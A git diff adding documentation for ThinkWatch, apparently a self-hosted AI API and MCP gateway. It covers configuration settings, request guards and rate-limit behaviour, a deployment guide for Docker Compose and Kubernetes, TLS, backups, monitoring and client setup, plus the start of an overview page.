--from-literal=DATABASE_URL="postgres://user:pass@pg-host:5432/thinkwatch?sslmode=require" \ + --from-literal=REDIS_URL="rediss://:password@redis-host:6380" \ + --from-literal=OIDC_CLIENT_SECRET="your-oidc-secret" +``` + +Reference the secret in your Deployment: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: thinkwatch +spec: + template: + spec: + containers: + - name: thinkwatch + image: thinkwatch:latest + envFrom: + - secretRef: + name: thinkwatch-secrets + env: + - name: CORS_ORIGINS + value: "https://console.example.com" + - name: GATEWAY_PORT + value: "3000" + - name: CONSOLE_PORT + value: "3001" + - name: CLICKHOUSE_URL + value: "http://clickhouse:8123" + - name: RUST_LOG + value: "info" +``` + +### Generating Secure Random Keys + +Use `openssl` to generate cryptographically secure random values: + +```bash +# Generate a 256-bit key (for JWT_SECRET or ENCRYPTION_KEY) +openssl rand -hex 32 + +# Generate a 128-bit key (for less critical uses) +openssl rand -hex 16 + +# Generate a base64-encoded key (alternative format) +openssl rand -base64 32 +``` + +Both `JWT_SECRET` and `ENCRYPTION_KEY` expect a 64-character hex string (representing 32 bytes / 256 bits). + +--- + +## Dynamic Configuration (Web UI) + +Many settings that previously required environment variables are now stored in the database and configurable through the admin Web UI at runtime. These settings can also be managed via the `GET/PATCH /api/admin/settings` API endpoints. + +Changes to dynamic settings take effect immediately without requiring a server restart. + +### Authentication & JWT + +| Setting | Default | Description | +| ---------------------------- | -------- | ---------------------------------------------------- | +| `jwt_access_ttl_seconds` | `900` | Access token lifetime in seconds (15 minutes) | +| `jwt_refresh_ttl_seconds` | `604800` | Refresh token lifetime in seconds (7 days) | + +### Cache + +| Setting | Default | Description | +| -------------------- | ------- | ---------------------------------------- | +| `cache_ttl_seconds` | `300` | Default cache TTL for various caches | + +### Security + +| Setting | Default | Description | +| ---------------------------- | ------- | ---------------------------------------------------- | +| `signature_drift_seconds` | `300` | Maximum allowed clock drift for signed requests | +| `nonce_ttl_seconds` | `300` | TTL for nonce values used in replay protection | +| `security.redact` | `{}` | Outbound redaction policy, see [Request guards](#request-guards) | +| `security.inspect_tools` | `{}` | Tool-call inspection policy, see [Request guards](#request-guards) | +| `security.content` | `{}` | Content filter policy, see [Request guards](#request-guards) | +| `security.rate_limit_fail_closed` | `false` | Refuse requests whose limits cannot be checked, see [Limits that cannot be checked](#limits-that-cannot-be-checked) | + +#### Request guards + +Outbound redaction, tool-call inspection and the content filter each keep their whole policy as one JSON object under `security.redact`, `security.inspect_tools` and `security.content`. The object has the shape of the `security` section of ThinkWatch Core's `config.yaml`, which the [Core configuration reference](/docs/core/configuration#cfg-security) describes field by field, built-in rules included; `{}` is the factory setting. + +- `mode` is `off`, `observe` or `enforce`. `observe`, the factory mode, records matches in the audit log and changes nothing; the console calls `enforce` Replace for outbound redaction, Cut off for tool-call inspection and Enforce for the content filter. +- `enable` and `disable` switch built-in rules on and off by id, `actions` changes what a built-in rule does under `enforce`, and `custom` holds rules of the deployment's own. + +```json +{ + "mode": "enforce", + "enable": ["email"], + "custom": [{ "name": "Employee ID", "pattern": "EMP-\\d{6}", "label": "EMPLOYEE" }] +} +``` + +The Content Security page of the console edits these objects. Through `PATCH /api/admin/settings` a key is written whole and checked first: a misspelt field, an unknown built-in rule, a pattern that does not compile or a malformed code point is refused with `400`. Writing `security.redact` takes the `pii_redactor:write` permission, and the other two keys take `content_filter:write`. `GET /api/admin/security` lists each guard's mode and every rule, and `POST /api/admin/security/{guard}/test` tries a sample against them. A deployment upgraded from a version that kept `security.content_filter_patterns`, `security.pii_redactor_patterns`, `security.hidden_text` and `security.tool_inspection` has them converted into these keys at its first start. + +#### Limits that cannot be checked + +`security.rate_limit_fail_closed` decides what happens to a request whose limits cannot be checked: Redis cannot be reached, or the database fails while the request's rate limits and budgets are loaded. It covers the rate limits and budgets of users, API keys and roles and the RPM and TPM caps of routes, on the AI gateway and the MCP gateway. + +- `false`, the default: the request goes on without the limits that could not be checked, and a warning with the error is logged and counted in the `*_fail_open_total` metrics. +- `true`: the request is refused, labelled `limits_unavailable`, `budget_unavailable` or `rate_limiter_unavailable`. The AI gateway answers `429` with `Retry-After: 30` in the client's API format; the MCP gateway answers `429` with a JSON-RPC error. + +Turn it on where a request that escapes its limits is worse than a refused one. `GET /v1/usage` answers `503` while the limits cannot be read, whichever way the setting is. In the console, the setting is **Fail closed when limits can't be checked** under Settings › Security › Rate Limiter. + +### Budget + +| Setting | Default | Description | +| ---------------------------- | ------- | ---------------------------------------------------- | +| `budget_warning_threshold` | `0.8` | Budget utilization ratio that triggers a warning | +| `budget_critical_threshold` | `0.95` | Budget utilization ratio that triggers a critical alert | + +### API Key Policies + +| Setting | Default | Description | +| ------------------------------ | ----------- | ---------------------------------------------- | +| `api_key_max_expiry_days` | `365` | Maximum allowed expiry for new API keys | +| `api_key_default_rate_limit_rpm` | `60` | Default RPM limit for new API keys | + +### General + +| Setting | Default | Description | +| ---------------------- | ---------------- | ------------------------------------------------ | +| `data_retention_days` | `30` | Days to retain soft-deleted records before purge | +| `site_name` | `ThinkWatch` | Site name displayed in the Web UI | + +--- + +## Startup Validation + +ThinkWatch validates all configuration and dependencies at startup and will refuse to start if: + +- `DATABASE_URL` is missing or the database is unreachable +- `REDIS_URL` is missing or Redis is unreachable +- `JWT_SECRET` is missing or shorter than 32 characters +- `JWT_SECRET` fails the entropy check (e.g., all identical characters) +- `ENCRYPTION_KEY` is missing or not a valid 64-character hex string +- `OIDC_*` variables are partially configured (all four must be set, or none) + +Additionally, the server performs dependency health checks at startup: + +- **PostgreSQL:** Verifies the connection and runs a test query +- **Redis:** Verifies the connection with a PING command +- **ClickHouse:** If configured, verifies the connection and tables exist (non-blocking -- logs a warning if unavailable) + +Check the application logs if the server fails to start. Missing or invalid configuration will be reported with clear error messages. diff --git a/src/content/docs/en/deployment-guide.md b/src/content/docs/en/deployment-guide.md new file mode 100644 index 0000000..416238f --- /dev/null +++ b/src/content/docs/en/deployment-guide.md @@ -0,0 +1,780 @@ +# ThinkWatch Deployment Guide + +## 1. Prerequisites + +### Hardware Requirements + +| Resource | Minimum | Recommended | +|----------|------------------|----------------------| +| CPU | 2 cores | 4+ cores | +| RAM | 4 GB | 8+ GB | +| Disk | 20 GB SSD | 50+ GB SSD | +| Network | 100 Mbps | 1 Gbps | + +The server process itself is lightweight (Rust binary, ~50 MB RSS typical). Most resource consumption comes from PostgreSQL, Redis, and ClickHouse. + +### Software Requirements + +**For development:** + +| Software | Version | Purpose | +|------------|---------|----------------------------------| +| Rust | Edition 2024 (see `rust-toolchain.toml`) | Build the server | +| Node.js | 20+ | Build the web UI | +| pnpm | 12 (see `web/package.json`) | Web UI package manager | +| Docker | 24+ | Run infrastructure services | +| Docker Compose | v2+ | Orchestrate dev services | + +**For production (Docker-only):** + +| Software | Version | +|-----------------|---------| +| Docker | 24+ | +| Docker Compose | v2+ | + +--- + +## 2. Development Setup + +### 2.1 Clone and Install Dependencies + +```bash +git clone ThinkWatch +cd ThinkWatch + +# Install Rust toolchain (reads from rust-toolchain.toml) +rustup show + +# Install web UI dependencies +cd web && pnpm install && cd .. +``` + +### 2.2 Start Infrastructure Services + +```bash +make infra +``` + +This starts: +- **PostgreSQL** on port 5432 (user: `postgres`, password: `postgres`, db: `think_watch`) +- **Redis** on port 6379 +- **ClickHouse** (audit log storage) on port 8123 (HTTP) / 9000 (native TCP) +- **Zitadel** (OIDC SSO) on port 8080 + +Wait for all services to become healthy: + +```bash +make infra-down # to stop services +``` + +### 2.3 Start the Server + +```bash +# From the project root +cargo run +``` + +The server reads configuration from environment variables (with sensible development defaults). It will: +1. Connect to PostgreSQL and run migrations automatically. +2. Connect to Redis. +3. Start the gateway on `http://localhost:3000`. +4. Start the console on `http://localhost:3001`. + +### 2.4 Start the Web UI (Development) + +```bash +cd web +pnpm dev +``` + +The Vite dev server starts on `http://localhost:5173` and proxies API requests to the console server at `localhost:3001`. + +### 2.5 Creating the First Admin User (Setup Wizard) + +On a fresh database, ThinkWatch provides a setup wizard accessible through the Web UI or the API. The setup wizard creates the first admin user and optionally configures the first AI provider in a single step. + +**Via the Web UI:** + +Open `http://localhost:5173` in your browser. If the system has not been initialized, the UI will automatically show the setup wizard. + +**Via the API:** + +Check whether setup is needed: + +```bash +curl http://localhost:3001/api/setup/status +# Returns: {"initialized": false, "needs_setup": true} +``` + +Initialize the system: + +```bash +curl -X POST http://localhost:3001/api/setup/initialize \ + -H "Content-Type: application/json" \ + -d '{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + }, + "provider": { + "name": "openai-prod", + "display_name": "OpenAI", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "api_key": "sk-..." + } + }' +``` + +The `provider` field is optional. You can add providers later through the admin UI. + +> **Note:** The setup endpoint is rate-limited (5 requests per minute) and is disabled after the first admin user is created. See the security documentation for details. + +**Legacy method (manual):** + +Alternatively, register via `POST /api/auth/register` and then assign the `super_admin` role directly in PostgreSQL: + +```sql +INSERT INTO user_roles (user_id, role_id, scope) +SELECT u.id, r.id, 'global' +FROM users u, roles r +WHERE u.email = 'admin@example.com' AND r.name = 'super_admin'; +``` + +Subsequent users can be promoted to admin roles through the web UI by the super admin. + +### 2.6 Configuring Zitadel SSO (Development) + +The dev compose file starts a Zitadel instance at `http://localhost:8080`. + +1. Log in to Zitadel at `http://localhost:8080` with username `admin` and password `Admin1234!`. +2. Create a new project and an OIDC application of type "Web" with: + - Redirect URI: `http://localhost:3001/api/auth/oidc/callback` + - Post-logout redirect: `http://localhost:5173` +3. Copy the client ID and client secret. +4. Set environment variables before starting the server: + +```bash +export OIDC_ISSUER_URL=http://localhost:8080 +export OIDC_CLIENT_ID= +export OIDC_CLIENT_SECRET= +export OIDC_REDIRECT_URL=http://localhost:3001/api/auth/oidc/callback +``` + +Or add them to a `.env` file in the project root (loaded automatically by `dotenvy`). + +--- + +## 3. Docker Compose Production Deployment + +### 3.1 Create Production Environment File + +Create a `.env.production` file with real secrets. **Never commit this file to version control.** + +```bash +# Database +DB_USER=thinkwatch +DB_PASSWORD= +DB_NAME=think_watch + +# Authentication +JWT_SECRET= +ENCRYPTION_KEY= + +# Ports +GATEWAY_PORT=3000 +WEB_PORT=80 + +# CORS — set to your actual console domain +CORS_ORIGINS=https://console.yourdomain.com + +# ClickHouse +CLICKHOUSE_USER=default +CLICKHOUSE_PASSWORD= + +# Redis +REDIS_PASSWORD= + +# OIDC SSO (optional) +OIDC_ISSUER_URL=https://auth.yourdomain.com +OIDC_CLIENT_ID= +OIDC_CLIENT_SECRET= +OIDC_REDIRECT_URL=https://console.yourdomain.com/api/auth/oidc/callback + +# Logging +RUST_LOG=info,think_watch=info +``` + +### 3.2 Generate Secure Secrets + +```bash +# JWT_SECRET (64 hex characters = 256 bits) +openssl rand -hex 32 + +# ENCRYPTION_KEY (64 hex characters = 256 bits, used for AES-256-GCM) +openssl rand -hex 32 + +# Database and Redis passwords +openssl rand -base64 24 +``` + +### 3.3 Deploy + +Pull the pre-built images from GitHub Container Registry and start all services: + +```bash +docker compose -f deploy/docker-compose.yml --env-file .env.production pull +docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +To pin a release instead of `latest`, set `IMAGE_TAG` to its version, or to the SHA of a commit on `main`: + +```bash +IMAGE_TAG=3.5.0 docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +This starts: +- **server** -- The ThinkWatch Rust binary (gateway on port 3000, console on port 3001 internal only) +- **web** -- nginx serving the built React SPA (port 80) +- **postgres** -- PostgreSQL 18 with persistent volume +- **redis** -- Redis 8 with persistent volume +- **clickhouse** -- ClickHouse columnar database for audit logs + +### 3.4 Verify Health + +```bash +# Gateway health +curl http://localhost:3000/health + +# Console health (from within the Docker network, or via the web container) +docker compose -f deploy/docker-compose.yml exec server curl http://localhost:3001/api/health +``` + +### 3.5 ClickHouse Configuration + +ClickHouse stores audit logs in a columnar format optimized for analytical queries. Configure the connection via these environment variables in `.env.production`: + +```bash +# ClickHouse connection +CLICKHOUSE_URL=http://clickhouse:8123 +CLICKHOUSE_DB=think_watch +CLICKHOUSE_USER=default +CLICKHOUSE_PASSWORD= +``` + +| Variable | Default | Description | +|----------|---------|-------------| +| `CLICKHOUSE_URL` | `http://clickhouse:8123` | ClickHouse HTTP interface URL. | +| `CLICKHOUSE_DB` | `think_watch` | Database name for audit log tables. | +| `CLICKHOUSE_USER` | `default` | ClickHouse user for authentication. | +| `CLICKHOUSE_PASSWORD` | — | ClickHouse password. | + +ThinkWatch creates six tables in ClickHouse: + +- `audit_logs` — Security audit trail (90-day TTL) +- `gateway_logs` — AI API request logs (90-day TTL) +- `mcp_logs` — MCP tool invocation logs (90-day TTL) +- `platform_logs` — Platform management operations (90-day TTL) +- `access_logs` — HTTP access logs (30-day TTL) +- `app_logs` — Application runtime logs (30-day TTL) + +Tables are automatically created on first startup via `deploy/clickhouse/init.sql`. + +### 3.6 Set Up a Reverse Proxy + +In production, place a reverse proxy in front of the Docker services to handle TLS termination. Only the gateway port (3000) and the web UI port (80) need to be reachable by end users. + +**Important:** The console port (3001) should NOT be exposed to the public internet. Access it only through an internal network, VPN, or via the web container's nginx that reverse-proxies `/api/*` to port 3001. + +#### Example: nginx reverse proxy + +```nginx +# Gateway — public-facing +server { + listen 443 ssl; + server_name gateway.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/gateway.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/gateway.yourdomain.com/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Required for SSE streaming + proxy_buffering off; + proxy_cache off; + proxy_read_timeout 300s; + } +} + +# Console Web UI — restricted access +server { + listen 443 ssl; + server_name console.yourdomain.com; + + ssl_certificate /etc/letsencrypt/live/console.yourdomain.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/console.yourdomain.com/privkey.pem; + + # Optionally restrict by IP + # allow 10.0.0.0/8; + # deny all; + + location / { + proxy_pass http://127.0.0.1:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } +} +``` + +#### Example: traefik (via Docker labels) + +Add labels to the `server` and `web` services in your compose override to configure Traefik routing and TLS with Let's Encrypt automatically. + +--- + +## 4. Kubernetes Deployment + +A Helm chart is provided at `deploy/helm/think-watch/`. + +### 4.1 Images + +Each release publishes its images to GitHub Container Registry, tagged with the version and, for a stable release, `latest`. Every push to `main` also publishes images tagged with the commit SHA: + +``` +ghcr.io/thinkwatchproject/think-watch-server: +ghcr.io/thinkwatchproject/think-watch-server:latest +ghcr.io/thinkwatchproject/think-watch-server: + +ghcr.io/thinkwatchproject/think-watch-web: +ghcr.io/thinkwatchproject/think-watch-web:latest +ghcr.io/thinkwatchproject/think-watch-web: +``` + +No authentication is needed — the packages are public. + +### 4.2 Install with Helm + +```bash +helm install think-watch deploy/helm/think-watch \ + --set secrets.jwtSecret=$(openssl rand -hex 32) \ + --set secrets.encryptionKey=$(openssl rand -hex 32) \ + --set config.corsOrigins="https://console.internal.example.com" +``` + +The chart runs PostgreSQL, Redis and ClickHouse alongside the server. Secrets left empty are generated on the first install and kept across upgrades. To use managed databases instead, see [4.6 External PostgreSQL and Redis](#46-external-postgresql-and-redis). + +The chart deploys the images of its own version (`appVersion` in `Chart.yaml`). To deploy another tag, such as a commit on `main`: + +```bash +helm install think-watch deploy/helm/think-watch \ + --set image.server.tag= \ + --set image.web.tag= \ + ... +``` + +### 4.3 Configure Ingress + +The Helm chart supports dual-host Ingress. Enable and configure in `values.yaml` or via `--set`: + +```yaml +ingress: + enabled: true + className: nginx + gateway: + host: gateway.yourdomain.com # Public-facing + tls: + - secretName: gateway-tls + hosts: + - gateway.yourdomain.com + console: + host: console.internal.yourdomain.com # Internal only + tls: + - secretName: console-tls + hosts: + - console.internal.yourdomain.com +``` + +For the console Ingress, use an internal ingress class or add annotations to restrict access: + +```yaml +ingress: + console: + annotations: + nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8,172.16.0.0/12" +``` + +### 4.4 External Secrets + +For production, use the External Secrets Operator instead of passing secrets via `--set`. The chart always creates its own Secret, `-secrets` (`think-watch-secrets` for the release above), and the server reads its variables from it, so the ExternalSecret merges values into that Secret instead of creating one: install the chart first, then apply: + +```yaml +apiVersion: external-secrets.io/v1 +kind: ExternalSecret +metadata: + name: think-watch +spec: + refreshInterval: 1h + secretStoreRef: + name: vault-backend # or aws-secrets-manager, etc. + kind: SecretStore + target: + name: think-watch-secrets # -secrets, created by the chart + creationPolicy: Merge + data: + - secretKey: JWT_SECRET + remoteRef: + key: think-watch/jwt-secret + - secretKey: ENCRYPTION_KEY + remoteRef: + key: think-watch/encryption-key +``` + +On later upgrades the chart reads `JWT_SECRET` and `ENCRYPTION_KEY` back from the Secret, so the values from the store are kept; leave `secrets.jwtSecret` and `secrets.encryptionKey` unset, since values set there take precedence over the Secret. The server reads the Secret only at start, so restart it once after the first sync: `kubectl rollout restart deployment/think-watch-server`. `DATABASE_URL` and `REDIS_URL` cannot come from the store, because the chart writes them from `postgres.externalUrl` and `redis.externalUrl` on every upgrade (see [4.6](#46-external-postgresql-and-redis)). + +### 4.5 Horizontal Pod Autoscaling + +Enable HPA in `values.yaml`: + +```yaml +autoscaling: + enabled: true + minReplicas: 2 + maxReplicas: 10 + targetCPUUtilizationPercentage: 70 +``` + +The server is stateless (all state is in PostgreSQL and Redis), so it scales horizontally without issue. + +### 4.6 External PostgreSQL and Redis + +A managed PostgreSQL or Redis can replace the bundled one. In the Helm chart, set `bundled: false` and `externalUrl` for that service; outside the chart, the URLs go in `DATABASE_URL` and `REDIS_URL`. + +```yaml +postgres: + bundled: false + externalUrl: postgres://user:pass@pg.example.com:5432/think_watch?sslmode=require +redis: + bundled: false + externalUrl: rediss://:pass@my-cache.example.com:6379 +``` + +**PostgreSQL behind a connection pooler.** Each server instance sets up the schema when it starts, holding a session-level advisory lock so that instances starting together take turns. The URL must therefore reach PostgreSQL directly or through a pooler in session mode, never one in transaction mode (PgBouncer `pool_mode = transaction`, or the transaction-mode port of a managed pooler): there the lock can stay held on a server connection the pooler keeps, and every later start waits for it indefinitely. Schema setup uses the connections of `DATABASE_URL`; there is no separate URL for it. + +**Redis Cluster.** Give the URL the `redis-cluster://` scheme and name one node or more; the server finds the rest of the cluster from them: + +```text +redis-cluster://:pass@redis-0.redis:6379?node=redis-1.redis:6379&node=redis-2.redis:6379 +``` + +Every node must be reachable from the server at the address it announces to the cluster (`cluster-announce-ip` / `-port`). A cluster has only database 0, so the URL names no `/`. + +**Redis over TLS.** Managed Redis services usually require TLS, for example ElastiCache with in-transit encryption, Upstash, Azure Cache for Redis and Redis Cloud. Use the `rediss://` scheme, or `rediss-cluster://` for a cluster, with the host name the service gives and the port it uses for TLS (a URL without a port means `6379`; Azure Cache for Redis uses `6380`). The certificate is checked against the public CAs and the host name in the URL; in a cluster, each node's certificate must name the address that node announces. + +A Redis whose certificate a private CA signed needs that CA: set `REDIS_CA_CERT` to the path of its PEM certificate, and the server then trusts only the certificates in that file for Redis. With the Helm chart, put the certificate in a Secret and name it under `redis.caSecret`; the chart mounts it and sets `REDIS_CA_CERT`: + +```bash +kubectl -n thinkwatch create secret generic redis-ca --from-file=ca.crt=./ca.crt +``` + +```yaml +redis: + bundled: false + externalUrl: rediss://:pass@redis.internal:6379 + caSecret: + name: redis-ca + key: ca.crt +``` + +The file is read at start, so restart the server after changing it. Client certificates (mutual TLS) are not supported: such a Redis needs `tls-auth-clients no` and password authentication. With `networkPolicy.enabled`, ports that no URL names, such as cluster nodes announcing other ports, go in `networkPolicy.extraEgress`. + +--- + +## 5. SSL/TLS + +### Using Let's Encrypt with a Reverse Proxy + +The recommended approach is to terminate TLS at the reverse proxy layer. ThinkWatch itself serves plain HTTP on ports 3000 and 3001. + +**With certbot (standalone nginx):** + +```bash +certbot certonly --nginx -d gateway.yourdomain.com -d console.yourdomain.com +``` + +**With Kubernetes cert-manager:** + +```yaml +apiVersion: cert-manager.io/v1 +kind: ClusterIssuer +metadata: + name: letsencrypt-prod +spec: + acme: + server: https://acme-v02.api.letsencrypt.org/directory + email: admin@yourdomain.com + privateKeySecretRef: + name: letsencrypt-prod + solvers: + - http01: + ingress: + class: nginx +``` + +Then reference the issuer in your Ingress annotations: + +```yaml +annotations: + cert-manager.io/cluster-issuer: letsencrypt-prod +``` + +### Configuring CORS for HTTPS + +When the console is served over HTTPS, update the `CORS_ORIGINS` environment variable: + +```bash +CORS_ORIGINS=https://console.yourdomain.com +``` + +Multiple origins can be comma-separated if needed. + +--- + +## 6. Backup and Recovery + +### 6.1 PostgreSQL + +PostgreSQL contains all critical application state: users, API keys, provider configurations, usage records, and audit logs. + +**Scheduled pg_dump (simple):** + +```bash +# Daily backup +pg_dump -h localhost -U thinkwatch -d think_watch -Fc > backup_$(date +%Y%m%d).dump + +# Restore +pg_restore -h localhost -U thinkwatch -d think_watch -c backup_20260401.dump +``` + +**WAL archiving (point-in-time recovery):** + +For production deployments, configure PostgreSQL WAL archiving to an S3 bucket or network storage. This allows restoring to any point in time, not just the last dump. Use tools like `pgBackRest` or `wal-g` for automated WAL management. + +**Managed databases:** If using a managed PostgreSQL service (AWS RDS, Google Cloud SQL, etc.), automated backups and point-in-time recovery are typically included. + +### 6.2 Redis + +Redis stores ephemeral data (rate limit counters, session state, OIDC flow state). Losing Redis data is not catastrophic -- rate limits reset and users need to log in again. + +That said, to preserve rate limit state across restarts, enable Redis persistence: + +``` +# redis.conf +appendonly yes +appendfsync everysec +``` + +The Docker Compose files mount a persistent volume for Redis data by default. + +### 6.3 ClickHouse + +ClickHouse stores audit logs in columnar tables. The Docker Compose files mount a persistent volume for ClickHouse data. + +For disaster recovery: +- Back up the ClickHouse data volume, or use `clickhouse-client` to export data. +- Since audit logs are also written to PostgreSQL (`audit_logs` table), ClickHouse data can be re-inserted from the primary database if needed. + +--- + +## 7. Monitoring + +### 7.1 Health Endpoints + +| Endpoint | Port | Purpose | +|---------------------------|------|------------------------------------------------------| +| `GET /health` | 3000 | Gateway basic health check | +| `GET /health/live` | 3000 | Liveness probe (is the process alive?) | +| `GET /health/ready` | 3000 | Readiness probe (returns 503 if PG or Redis is down) | +| `GET /api/health` | 3001 | Console detailed health (latency, pool stats, uptime)| +| `GET /metrics` | 3000 | Prometheus metrics (unauthenticated) | + +**Recommended probe configuration for Kubernetes:** + +```yaml +livenessProbe: + httpGet: + path: /health/live + port: 3000 + initialDelaySeconds: 5 + periodSeconds: 10 +readinessProbe: + httpGet: + path: /health/ready + port: 3000 + initialDelaySeconds: 10 + periodSeconds: 5 +``` + +Use `/health/live` for liveness probes (restart the pod if the process is stuck) and `/health/ready` for readiness probes (remove the pod from the load balancer if dependencies are down). + +### 7.2 Structured Logging + +ThinkWatch uses `tracing` with configurable output via the `RUST_LOG` environment variable: + +```bash +# Default: info level +RUST_LOG=info,think_watch=info + +# Debug for ThinkWatch crates, info for dependencies +RUST_LOG=info,think_watch=debug + +# Trace-level for detailed request/response debugging +RUST_LOG=info,think_watch=trace + +# JSON-formatted logs (configured in tracing-subscriber setup) +``` + +Logs are written to stdout and can be collected by any log aggregation system (Datadog, Loki, CloudWatch, etc.). + +### 7.3 Audit Log Forwarding + +ThinkWatch supports real-time forwarding of audit events to external systems via four channels: + +| Channel | Protocol | Use Case | +|---------|----------|----------| +| UDP Syslog | RFC 5424 | Traditional SIEM (Splunk, Graylog) | +| TCP Syslog | RFC 5424 | Reliable transport for SIEM | +| Kafka | REST Proxy (JSON) | Data lakes, stream processing pipelines | +| HTTP Webhook | POST JSON | Custom alerting, Slack/Teams integration | + +Configure via the admin console at **Admin > Log Forwarding**: +- Multiple channels can run in parallel +- Each channel can be independently enabled/disabled +- Built-in connection testing and delivery statistics +- Automatic retry with error counting + +Audit events are always written to PostgreSQL and ClickHouse (if configured). Forwarding channels provide additional delivery to external systems. + +### 7.4 Prometheus Metrics + +ThinkWatch exposes Prometheus-compatible metrics at `GET /metrics` on the gateway port (3000). This endpoint is unauthenticated to allow standard Prometheus scraping. + +Available metrics include: +- **Request latency histograms** (`http_request_duration_seconds`) -- by endpoint, method, and status +- **Token throughput counters** (`llm_tokens_total`) -- prompt and completion tokens by model +- **Active connection gauges** (`http_active_connections`) -- current number of open connections +- **Error rate counters** (`http_requests_errors_total`) -- by endpoint and error type + +**Prometheus scrape configuration:** + +```yaml +scrape_configs: + - job_name: 'thinkwatch' + scrape_interval: 15s + static_configs: + - targets: ['thinkwatch:3000'] + metrics_path: /metrics +``` + +> **Security:** The `/metrics` endpoint is unauthenticated. In production, restrict access via network policies or a reverse proxy to prevent exposing internal metrics to untrusted networks. + +### 7.5 Background Tasks + +ThinkWatch runs several background tasks that operate automatically: + +| Task | Interval | Description | +|-------------------------------|------------|--------------------------------------------------------------| +| API key lifecycle management | Periodic | Disables keys that exceed their inactivity timeout | +| Data retention purge | Daily | Permanently deletes soft-deleted records older than `data_retention_days` | +| Key expiry notifications | Daily | Logs warnings for keys expiring within 7 days | + +These tasks run within the server process and do not require external schedulers (e.g., cron). They are automatically active when the server starts. + +--- + +## 8. Client Configuration Guide + +ThinkWatch includes a built-in **Configuration Guide** page in the web console at `/guide`. This page provides copy-paste setup instructions for connecting various AI client tools to your gateway and auto-detects the gateway URL. + +### Supported Client Tools + +The Configuration Guide provides ready-to-use instructions for: + +- **Claude Code** -- set `ANTHROPIC_BASE_URL` to your gateway's `/v1` endpoint (uses the Anthropic Messages API at `/v1/messages`) +- **Cursor** -- configure the OpenAI-compatible endpoint in Cursor settings (uses `/v1/chat/completions`) +- **Continue** -- configure the provider in `~/.continue/config.json` (uses `/v1/chat/completions`) +- **Cline** -- configure the API base URL in Cline settings (uses `/v1/chat/completions`) +- **OpenAI SDK** -- set `OPENAI_BASE_URL` and `OPENAI_API_KEY` environment variables (uses `/v1/chat/completions` or `/v1/responses`) +- **Anthropic SDK** -- set `ANTHROPIC_BASE_URL` and `ANTHROPIC_API_KEY` environment variables (uses `/v1/messages`) +- **cURL** -- example commands for all three API formats +- **ThinkWatch Lite** -- the **Add to ThinkWatch Lite** button adds the gateway to the desktop app (see below) + +### Adding the Gateway to ThinkWatch Lite + +The **Add to ThinkWatch Lite** button opens the New upstream dialog of [ThinkWatch Lite](/lite) with the gateway's address and the key already filled in, so a user connects the desktop app in one step. It appears after a key is created or rotated, at the end of the first-run setup, and on the ThinkWatch Lite tab of the Configuration Guide. + +The button needs ThinkWatch Lite 2026.10.16 or later. The address comes from the **Public Gateway URL** setting, and the link format is described in [Import links](/docs/lite/import-links). A gateway served over plain `http://` on the company network works too; ThinkWatch Lite states that the key travels unencrypted. + +### Gateway API Endpoints + +The gateway (port 3000) serves three API formats on a single port: + +| Endpoint | Format | Typical Clients | +| --------------------------- | ----------------------- | -------------------------------------------- | +| `POST /v1/chat/completions` | OpenAI Chat Completions | Cursor, Continue, Cline, OpenAI SDK | +| `POST /v1/messages` | Anthropic Messages API | Claude Code, Anthropic SDK | +| `POST /v1/responses` | OpenAI Responses API | OpenAI SDK (2025 format) | +| `GET /v1/models` | Models the calling key may use | All clients | +| `GET /v1/usage` | Usage and limits of the calling key | Any client with a gateway API key | + +All endpoints accept `tw-` API keys via the `Authorization: Bearer` header. + +--- + +## 9. Upgrading + +### 9.1 Database Migrations + +Migrations are run automatically when the server starts. The `sqlx` migrate system tracks which migrations have been applied in a `_sqlx_migrations` table and only runs new ones. + +**Important:** Always back up your database before upgrading to a new version that includes schema changes. + +### 9.2 Rolling Updates (Kubernetes) + +The server is stateless, so rolling updates work out of the box: + +```bash +# Update the image tag +helm upgrade think-watch deploy/helm/think-watch \ + --set image.server.tag=3.5.0 \ + --set image.web.tag=3.5.0 \ + --reuse-values +``` + +Kubernetes will perform a rolling update, starting new pods before terminating old ones. The first new pod to start will run any pending database migrations. + +**Tip:** Set `maxSurge: 1` and `maxUnavailable: 0` in your deployment strategy to ensure zero downtime during upgrades. + +### 9.3 Docker Compose Updates + +```bash +# Pull new images or rebuild +docker compose -f deploy/docker-compose.yml --env-file .env.production build + +# Restart with new images (database migrations run on startup) +docker compose -f deploy/docker-compose.yml --env-file .env.production up -d +``` + +### 9.4 Breaking Changes Policy + +- **Patch versions** (0.1.x): Bug fixes only. No migration changes. Safe to upgrade without review. +- **Minor versions** (0.x.0): May include new migrations that add tables or columns. Always backward-compatible. Review the changelog. +- **Major versions** (x.0.0): May include breaking API changes, destructive migrations, or configuration changes. Read the upgrade guide carefully before proceeding. + +Check the project changelog or release notes for migration details before upgrading. diff --git a/src/content/docs/en/overview.md b/src/content/docs/en/overview.md new file mode 100644 index 0000000..fdafc3d --- /dev/null +++ b/src/content/docs/en/overview.md @@ -0,0 +1,25 @@ +# ThinkWatch Enterprise + +ThinkWatch Enterprise is a self-hosted AI API and MCP gateway for organizations. Every model request and every MCP tool call passes through one gateway, where it is authenticated against the organization's identity provider, checked against limits and budgets, inspected by security guards, priced, and written to the audit log. It plays the role for AI access that a bastion host plays for server access. + +> It is [deployed](/docs/deployment-guide) with Docker Compose or the Kubernetes Helm chart. Clients only need to reach the gateway on port 3000; the console on port 3001 serves the management UI and admin API and belongs behind a VPN or firewall. + +## Highlights + +- **MCP tool calls run as the real user.** Each user connects their own GitHub, Notion, Linear, Slack or Atlassian account, so the upstream's own audit log shows who acted. Each tool can be granted per role and per API key. +- **Security guards on every request.** Credentials and personal information can be replaced with placeholders before a request goes upstream and restored in the answer, and a dangerous tool call in a model response can be cut off before the client runs it. 